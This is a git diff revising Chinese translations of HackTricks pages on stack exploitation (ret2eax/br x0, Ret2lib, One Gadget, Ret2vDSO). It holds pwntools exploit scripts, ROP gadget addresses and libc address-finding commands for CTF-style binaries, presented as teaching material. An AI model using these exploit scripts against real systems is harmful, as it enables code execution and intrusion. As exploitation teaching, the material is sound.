* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
|
||||
* **`strcpy`**将存储在**`eax`**中的shellcode的缓冲区地址,而**`eax`**没有被覆盖,因此可以使用`ret2eax`。
|
||||
* **`strcpy`**将存储在**`eax`**中,其中包含shellcode的缓冲区的地址,而**`eax`**没有被覆盖,因此可以使用`ret2eax`。
|
||||
|
||||
## ARM64
|
||||
|
||||
|
@ -110,7 +111,7 @@ done
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
我发现的唯一方法是更改在跳转到它之前复制 sp 的寄存器的值(因此它将变得无用):
|
||||
我发现的唯一方法是更改在跳转到 sp 复制之前的寄存器值的方法(因此它将变得无用):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -122,7 +123,7 @@ ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
在ARM64架构中,是**`x0`**存储函数的返回值,因此可能是x0存储了由用户控制的缓冲区的地址,其中包含要执行的shellcode。
|
||||
在ARM64中,是**`x0`**存储函数的返回值,因此可能是x0存储用户控制的缓冲区的地址,其中包含一个用于执行的shellcode。
|
||||
|
||||
示例代码:
|
||||
```c
|
||||
|
@ -149,15 +150,15 @@ do_stuff(2)
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
检查函数的反汇编代码,可以看到**缓冲区的地址**(容易受到缓冲区溢出攻击并**由用户控制**)在从缓冲区溢出返回之前被**存储在`x0`**中:
|
||||
检查函数的反汇编代码,可以看到**缓冲区的地址**(容易受到缓冲区溢出攻击,**由用户控制**)在从缓冲区溢出返回之前被**存储在 `x0`** 中:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
在**`do_stuff`**函数中也可以找到**`br x0`**这个gadget:
|
||||
在**`do_stuff`**函数中也可以找到**`br x0`**这个特殊指令:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
我们将使用该gadget跳转到它,因为二进制文件是**没有启用PIE编译**的。使用模式可以看到**缓冲区溢出的偏移量为80**,因此利用将是:
|
||||
我们将使用该特殊指令进行跳转,因为二进制文件是**没有启用 PIE 编译**的。通过模式匹配,可以看到**缓冲区溢出的偏移量为 80**,因此利用将是:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -173,29 +174,31 @@ p.sendline(payload)
|
|||
p.interactive()
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
如果使用类似于**`read`**而不是`fgets`,只需覆盖返回地址的最后2个字节即可绕过PIE,返回到`br x0;`指令,而无需知道完整地址。由于`fgets`会在末尾添加空字符(0x00),所以这种方法不起作用。
|
||||
如果使用的是 **`read`** 而不是 `fgets`,只需覆盖返回地址的最后2个字节即可绕过 PIE,返回到 `br x0;` 指令,而无需知道完整地址。\
|
||||
由于 `fgets` 会在末尾添加一个空字符 (0x00),所以这种方法不起作用。
|
||||
{% endhint %}
|
||||
|
||||
## 保护机制
|
||||
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md):如果堆栈不可执行,则无法帮助,因为我们需要将 shellcode 放在堆栈中并跳转执行它。
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 和 [**PIE**](../common-binary-protections-and-bypasses/pie/):这些保护机制可以使查找跳转到 esp 或任何其他寄存器的指令变得更加困难。
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 如果栈不可执行,这不会起作用,因为我们需要将 shellcode 放在栈中并跳转执行它。
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 这些保护机制会使找到跳转到 esp 或其他寄存器的指令变得更加困难。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,44 @@
|
|||
# Ret2lib
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**Ret2Libc**的本质是将易受攻击的程序的执行流重定向到共享库中的一个函数(例如**system**、**execve**、**strcpy**),而不是在堆栈上执行攻击者提供的shellcode。攻击者构造一个有效负载,修改堆栈上的返回地址,使其指向所需的库函数,同时根据调用约定设置任何必要的参数。
|
||||
**Ret2Libc** 的本质是将易受攻击的程序的执行流重定向到共享库中的一个函数(例如 **system**、**execve**、**strcpy**),而不是在堆栈上执行攻击者提供的 shellcode。攻击者构造一个有效载荷,修改堆栈上的返回地址,使其指向所需的库函数,同时根据调用约定正确设置任何必要的参数。
|
||||
|
||||
### **示例步骤(简化)**
|
||||
|
||||
* 获取要调用的函数的地址(例如system)和要调用的命令(例如/bin/sh)
|
||||
* 生成一个ROP链,将第一个参数指向命令字符串,并将执行流传递给函数
|
||||
* 获取要调用的函数的地址(例如 system)和要调用的命令(例如 /bin/sh)
|
||||
* 生成一个 ROP 链,将第一个参数传递给指向命令字符串的地址,并将执行流传递给函数
|
||||
|
||||
## 查找地址
|
||||
|
||||
* 假设使用的`libc`是当前机器上的一个,您可以找到它将在内存中加载的位置:
|
||||
* 假设使用的 `libc` 是当前机器上的 `libc`,可以通过以下方式找到它将加载到内存中的位置:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
如果您想检查ASLR是否正在更改libc的地址,可以执行以下操作:
|
||||
如果您想检查ASLR是否更改了libc的地址,可以执行以下操作:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
* 知道使用的 libc 后,还可以通过以下方法找到 `system` 函数的偏移量:
|
||||
* 知道使用的libc后,还可以通过以下方法找到`system`函数的偏移量:
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
|
@ -45,7 +48,7 @@ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
|||
```
|
||||
### 使用 gdb-peda / GEF
|
||||
|
||||
知道使用的 libc 后,还可以使用 Peda 或 GEF 来获取 **system** 函数的地址,**exit** 函数的地址以及字符串 **`/bin/sh`** 的地址:
|
||||
了解使用的 libc 后,还可以使用 Peda 或 GEF 来获取 **system** 函数的地址,**exit** 函数的地址以及字符串 **`/bin/sh`** 的地址:
|
||||
```bash
|
||||
p system
|
||||
p exit
|
||||
|
@ -55,7 +58,7 @@ find "/bin/sh"
|
|||
|
||||
如果进程每次与其通信时都会创建**子进程**(网络服务器),尝试**读取**该文件(可能需要使用 root 权限)。
|
||||
|
||||
在这里,您可以找到进程内**libc 加载的确切位置**以及**每个子进程将要加载的位置**。
|
||||
在这里,您可以找到进程内部**libc 加载的确切位置**以及**每个子进程将要加载的位置**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (853).png>)
|
||||
|
||||
|
@ -99,7 +102,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|||
|
||||
## x86 Ret2lib 代码示例
|
||||
|
||||
在这个示例中,ASLR暴力破解已集成在代码中,并且易受攻击的二进制文件位于远程服务器上:
|
||||
在这个示例中,ASLR暴力破解已集成在代码中,并且易受攻击的二进制文件位于远程服务器中:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -152,26 +155,12 @@ c.interactive()
|
|||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
* Ret2lib,给定libc中函数地址的泄漏,使用一个gadget
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64位,启用ASLR但没有PIE,第一步是填充溢出直到canary的字节0x00,然后调用puts并泄漏它。使用canary创建ROP gadget来调用puts以从GOT中泄漏puts的地址,然后调用一个ROP gadget来调用`system('/bin/sh')`
|
||||
* 64位,启用ASLR但没有PIE,第一步是填充溢出直到canary的字节0x00,然后调用puts并泄漏它。使用canary创建ROP gadget来调用puts以从GOT中泄漏puts的地址,然后使用ROP gadget来调用`system('/bin/sh')`
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64位,启用ASLR,没有canary,在主函数中由子函数造成的堆栈溢出。ROP gadget调用puts以泄漏GOT中puts的地址,然后调用一个gadget。
|
||||
* 64位,启用ASLR,没有canary,在主函数中有来自子函数的堆栈溢出。ROP gadget调用puts以泄漏GOT中puts的地址,然后调用一个gadget。
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
||||
* 64位,没有PIE,没有canary,没有relro,nx。使用write函数泄漏write(libc)的地址并调用一个gadget。
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
* 使用格式字符串从堆栈中泄漏canary,并使用缓冲区溢出调用系统(在GOT中)并传递`/bin/sh`的地址。
|
||||
* 使用格式字符串从堆栈中泄漏canary,并使用缓冲区溢出调用system(在GOT中)并传递`/bin/sh`的地址。
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||
* 32位,没有relro,没有canary,nx,pie。滥用错误的索引以从堆栈中泄漏libc和堆地址。滥用缓冲区溢出以调用`system('/bin/sh')`的ret2lib(需要堆地址来绕过检查)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,26 @@
|
|||
# One Gadget
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
[**One Gadget**](https://github.com/david942j/one\_gadget) 允许在不使用**system**和**"/bin/sh"**的情况下获得一个shell。**One Gadget**将在libc库中找到一种方法来使用只需一个**地址**就能获得shell (`execve("/bin/sh")`)。\
|
||||
然而,通常会有一些限制条件,最常见且易于避免的是像 `[rsp+0x30] == NULL` 这样的情况。由于您可以控制**RSP**中的值,因此您只需发送更多的NULL值即可避免这种限制。
|
||||
[**One Gadget**](https://github.com/david942j/one\_gadget) 允许获取一个 shell,而不是使用 **system** 和 **"/bin/sh"。One Gadget** 将在 libc 库中找到一种方法来使用一个 **地址** 获取 shell (`execve("/bin/sh")`)。\
|
||||
然而,通常会有一些限制条件,最常见且易于避免的是 `[rsp+0x30] == NULL`。由于您控制 **RSP** 中的值,只需发送更多的 NULL 值即可避免这个限制条件。
|
||||
|
||||
![](<../../../.gitbook/assets/image (754).png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
|
@ -30,26 +33,28 @@ One Gadget对于任意写入执行技术非常有帮助,可能会**简化ROP
|
|||
|
||||
### ARM64
|
||||
|
||||
github仓库提到该工具支持**ARM64**,但在Kali 2023.3的libc中运行时**找不到任何gadget**。
|
||||
github存储库提到该工具支持**ARM64**,但在Kali 2023.3的libc中运行时**找不到任何gadget**。
|
||||
|
||||
## Angry Gadget
|
||||
|
||||
来自[**github仓库**](https://github.com/ChrisTheCoolHut/angry\_gadget):受[OneGadget](https://github.com/david942j/one\_gadget)启发,这个工具用Python编写,并使用[angr](https://github.com/angr/angr)来测试执行`execve('/bin/sh', NULL, NULL)`的gadget的约束条件。如果您已经尝试过One Gadget中的所有gadget,Angry Gadget提供了更多带有复杂约束条件的gadget供尝试!
|
||||
来自[**github存储库**](https://github.com/ChrisTheCoolHut/angry\_gadget):受[OneGadget](https://github.com/david942j/one\_gadget)启发,这个工具是用Python编写的,并使用[angr](https://github.com/angr/angr)来测试执行`execve('/bin/sh', NULL, NULL)`的gadget的约束条件。\
|
||||
如果您已经尝试过One Gadget中的所有gadget,Angry Gadget提供了更多带有复杂约束条件的gadget供尝试!
|
||||
```bash
|
||||
pip install angry_gadget
|
||||
|
||||
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Ret2vDSO
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
vDSO区域中可能存在**gadgets**,用于从用户模式切换到内核模式。在这类挑战中,通常会提供一个内核镜像来转储vDSO区域。
|
||||
可能存在**vDSO 区域中的小工具**,用于从用户模式切换到内核模式。在这类挑战中,通常会提供一个内核镜像来转储 vDSO 区域。
|
||||
|
||||
根据[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)中的示例,可以看到如何转储vdso部分并将其移动到主机。
|
||||
根据[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)中的示例,可以看到如何转储 vdso 部分并将其移动到主机。
|
||||
```bash
|
||||
# Find addresses
|
||||
cat /proc/76/maps
|
||||
|
@ -44,7 +45,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
|
|||
file vdso
|
||||
ROPgadget --binary vdso | grep 'int 0x80'
|
||||
```
|
||||
找到的ROP gadgets:
|
||||
找到的ROP小工具:
|
||||
```python
|
||||
vdso_addr = 0xf7ffc000
|
||||
|
||||
|
@ -64,27 +65,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
|||
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
因此请注意,如果内核使用CONFIG\_COMPAT\_VDSO编译,则可能通过滥用vdso来**绕过ASLR**,因为vdso地址不会被随机化:[https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
因此请注意,如果内核使用CONFIG\_COMPAT\_VDSO编译,则可能通过滥用vdso绕过ASLR,因为vdso地址不会被随机化:[https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
{% endhint %}
|
||||
|
||||
### ARM64
|
||||
|
||||
在kali 2023.2 arm64中转储并检查二进制文件的vdso部分后,我没有找到任何有趣的gadget(无法从堆栈中的值控制寄存器或控制x30以进行返回),**除了一种调用SROP的方法**。在页面的示例中查看更多信息:
|
||||
在kali 2023.2 arm64中转储并检查二进制文件的vdso部分后,我没有找到任何有趣的gadget(无法从堆栈中的值控制寄存器或控制x30以进行返回),**除了一种调用SROP的方法**。在页面示例中查看更多信息:
|
||||
|
||||
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
|
||||
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
